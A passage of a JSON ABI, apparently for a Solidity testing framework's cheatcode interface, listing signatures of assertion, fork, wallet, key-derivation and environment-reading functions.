tputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"string[]","internalType":"string[]"},{"name":"right","type":"string[]","internalType":"string[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes32[]","internalType":"bytes32[]"},{"name":"right","type":"bytes32[]","internalType":"bytes32[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes","internalType":"bytes"},{"name":"right","type":"bytes","internalType":"bytes"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bool[]","internalType":"bool[]"},{"name":"right","type":"bool[]","internalType":"bool[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes[]","internalType":"bytes[]"},{"name":"right","type":"bytes[]","internalType":"bytes[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"string[]","internalType":"string[]"},{"name":"right","type":"string[]","internalType":"string[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"string","internalType":"string"},{"name":"right","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes[]","internalType":"bytes[]"},{"name":"right","type":"bytes[]","internalType":"bytes[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bool","internalType":"bool"},{"name":"right","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEqDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEqDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEqDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEqDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertFalse","inputs":[{"name":"condition","type":"bool","internalType":"bool"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertFalse","inputs":[{"name":"condition","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGe","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGe","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGe","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGe","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGeDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGeDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGeDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGeDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGt","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGt","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGt","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGt","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGtDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGtDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGtDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertGtDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLe","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLe","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLe","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLe","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLeDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLeDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLeDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLeDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLt","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLt","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLt","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLt","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLtDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLtDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLtDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertLtDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes32[]","internalType":"bytes32[]"},{"name":"right","type":"bytes32[]","internalType":"bytes32[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"int256[]","internalType":"int256[]"},{"name":"right","type":"int256[]","internalType":"int256[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bool","internalType":"bool"},{"name":"right","type":"bool","internalType":"bool"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes[]","internalType":"bytes[]"},{"name":"right","type":"bytes[]","internalType":"bytes[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bool","internalType":"bool"},{"name":"right","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bool[]","internalType":"bool[]"},{"name":"right","type":"bool[]","internalType":"bool[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes","internalType":"bytes"},{"name":"right","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"address[]","internalType":"address[]"},{"name":"right","type":"address[]","internalType":"address[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"uint256[]","internalType":"uint256[]"},{"name":"right","type":"uint256[]","internalType":"uint256[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bool[]","internalType":"bool[]"},{"name":"right","type":"bool[]","internalType":"bool[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"string","internalType":"string"},{"name":"right","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"address[]","internalType":"address[]"},{"name":"right","type":"address[]","internalType":"address[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"string","internalType":"string"},{"name":"right","type":"string","internalType":"string"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"address","internalType":"address"},{"name":"right","type":"address","internalType":"address"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes32","internalType":"bytes32"},{"name":"right","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes","internalType":"bytes"},{"name":"right","type":"bytes","internalType":"bytes"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"uint256[]","internalType":"uint256[]"},{"name":"right","type":"uint256[]","internalType":"uint256[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"address","internalType":"address"},{"name":"right","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes32","internalType":"bytes32"},{"name":"right","type":"bytes32","internalType":"bytes32"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"string[]","internalType":"string[]"},{"name":"right","type":"string[]","internalType":"string[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes32[]","internalType":"bytes32[]"},{"name":"right","type":"bytes32[]","internalType":"bytes32[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"string[]","internalType":"string[]"},{"name":"right","type":"string[]","internalType":"string[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"int256[]","internalType":"int256[]"},{"name":"right","type":"int256[]","internalType":"int256[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"bytes[]","internalType":"bytes[]"},{"name":"right","type":"bytes[]","internalType":"bytes[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEq","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEqDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEqDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEqDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertNotEqDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertTrue","inputs":[{"name":"condition","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertTrue","inputs":[{"name":"condition","type":"bool","internalType":"bool"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assume","inputs":[{"name":"condition","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"breakpoint","inputs":[{"name":"char","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"breakpoint","inputs":[{"name":"char","type":"string","internalType":"string"},{"name":"value","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"broadcast","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"broadcast","inputs":[{"name":"signer","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"broadcast","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"chainId","inputs":[{"name":"newChainId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"clearMockedCalls","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"closeFile","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"coinbase","inputs":[{"name":"newCoinbase","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"computeCreate2Address","inputs":[{"name":"salt","type":"bytes32","internalType":"bytes32"},{"name":"initCodeHash","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"computeCreate2Address","inputs":[{"name":"salt","type":"bytes32","internalType":"bytes32"},{"name":"initCodeHash","type":"bytes32","internalType":"bytes32"},{"name":"deployer","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"computeCreateAddress","inputs":[{"name":"deployer","type":"address","internalType":"address"},{"name":"nonce","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"copyFile","inputs":[{"name":"from","type":"string","internalType":"string"},{"name":"to","type":"string","internalType":"string"}],"outputs":[{"name":"copied","type":"uint64","internalType":"uint64"}],"stateMutability":"nonpayable"},{"type":"function","name":"createDir","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"recursive","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"createFork","inputs":[{"name":"urlOrAlias","type":"string","internalType":"string"}],"outputs":[{"name":"forkId","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"createFork","inputs":[{"name":"urlOrAlias","type":"string","internalType":"string"},{"name":"blockNumber","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"forkId","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"createFork","inputs":[{"name":"urlOrAlias","type":"string","internalType":"string"},{"name":"txHash","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"forkId","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"createSelectFork","inputs":[{"name":"urlOrAlias","type":"string","internalType":"string"},{"name":"blockNumber","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"forkId","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"createSelectFork","inputs":[{"name":"urlOrAlias","type":"string","internalType":"string"},{"name":"txHash","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"forkId","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"createSelectFork","inputs":[{"name":"urlOrAlias","type":"string","internalType":"string"}],"outputs":[{"name":"forkId","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"createWallet","inputs":[{"name":"walletLabel","type":"string","internalType":"string"}],"outputs":[{"name":"wallet","type":"tuple","internalType":"struct VmSafe.Wallet","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"publicKeyX","type":"uint256","internalType":"uint256"},{"name":"publicKeyY","type":"uint256","internalType":"uint256"},{"name":"privateKey","type":"uint256","internalType":"uint256"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"createWallet","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"wallet","type":"tuple","internalType":"struct VmSafe.Wallet","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"publicKeyX","type":"uint256","internalType":"uint256"},{"name":"publicKeyY","type":"uint256","internalType":"uint256"},{"name":"privateKey","type":"uint256","internalType":"uint256"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"createWallet","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"},{"name":"walletLabel","type":"string","internalType":"string"}],"outputs":[{"name":"wallet","type":"tuple","internalType":"struct VmSafe.Wallet","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"publicKeyX","type":"uint256","internalType":"uint256"},{"name":"publicKeyY","type":"uint256","internalType":"uint256"},{"name":"privateKey","type":"uint256","internalType":"uint256"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"deal","inputs":[{"name":"account","type":"address","internalType":"address"},{"name":"newBalance","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"deleteSnapshot","inputs":[{"name":"snapshotId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"success","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"deleteSnapshots","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"deriveKey","inputs":[{"name":"mnemonic","type":"string","internalType":"string"},{"name":"derivationPath","type":"string","internalType":"string"},{"name":"index","type":"uint32","internalType":"uint32"},{"name":"language","type":"string","internalType":"string"}],"outputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"deriveKey","inputs":[{"name":"mnemonic","type":"string","internalType":"string"},{"name":"index","type":"uint32","internalType":"uint32"},{"name":"language","type":"string","internalType":"string"}],"outputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"deriveKey","inputs":[{"name":"mnemonic","type":"string","internalType":"string"},{"name":"index","type":"uint32","internalType":"uint32"}],"outputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"deriveKey","inputs":[{"name":"mnemonic","type":"string","internalType":"string"},{"name":"derivationPath","type":"string","internalType":"string"},{"name":"index","type":"uint32","internalType":"uint32"}],"outputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"difficulty","inputs":[{"name":"newDifficulty","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"dumpState","inputs":[{"name":"pathToStateJson","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"envAddress","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"envAddress","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"envBool","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"envBool","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bool[]","internalType":"bool[]"}],"stateMutability":"view"},{"type":"function","name":"envBytes","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"envBytes","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bytes[]","internalType":"bytes[]"}],"stateMutability":"view"},{"type":"function","name":"envBytes32","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bytes32[]","internalType":"bytes32[]"}],"stateMutability":"view"},{"type":"function","name":"envBytes32","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"envInt","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"int256[]","internalType":"int256[]"}],"stateMutability":"view"},{"type":"function","name":"envInt","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"int256","internalType":"int256"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"bytes32[]","internalType":"bytes32[]"}],"outputs":[{"name":"value","type":"bytes32[]","internalType":"bytes32[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"int256[]","internalType":"int256[]"}],"outputs":[{"name":"value","type":"int256[]","internalType":"int256[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"bool","internalType":"bool"}],"outputs":[{"name":"value","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"address","internalType":"address"}],"outputs":[{"name":"value","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"value","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"bytes[]","internalType":"bytes[]"}],"outputs":[{"name":"value","type":"bytes[]","internalType":"bytes[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"uint256[]","internalType":"uint256[]"}],"outputs":[{"name":"value","type":"uint256[]","internalType":"uint256[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"string[]","internalType":"string[]"}],"outputs":[{"name":"value","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"value","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"value","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"int256","internalType":"int256"}],"outputs":[{"name":"value","type":"int256","internalType":"int256"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"address[]","internalType":"address[]"}],"outputs":[{"name":"value","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"bool[]","internalType":"bool[]"}],"outputs":[{"name":"value","type":"bool[]","internalType":"bool[]"}],"stateMutability":"view"},{"type":"function","name":"envString","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"envString","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"string","internalType":"stri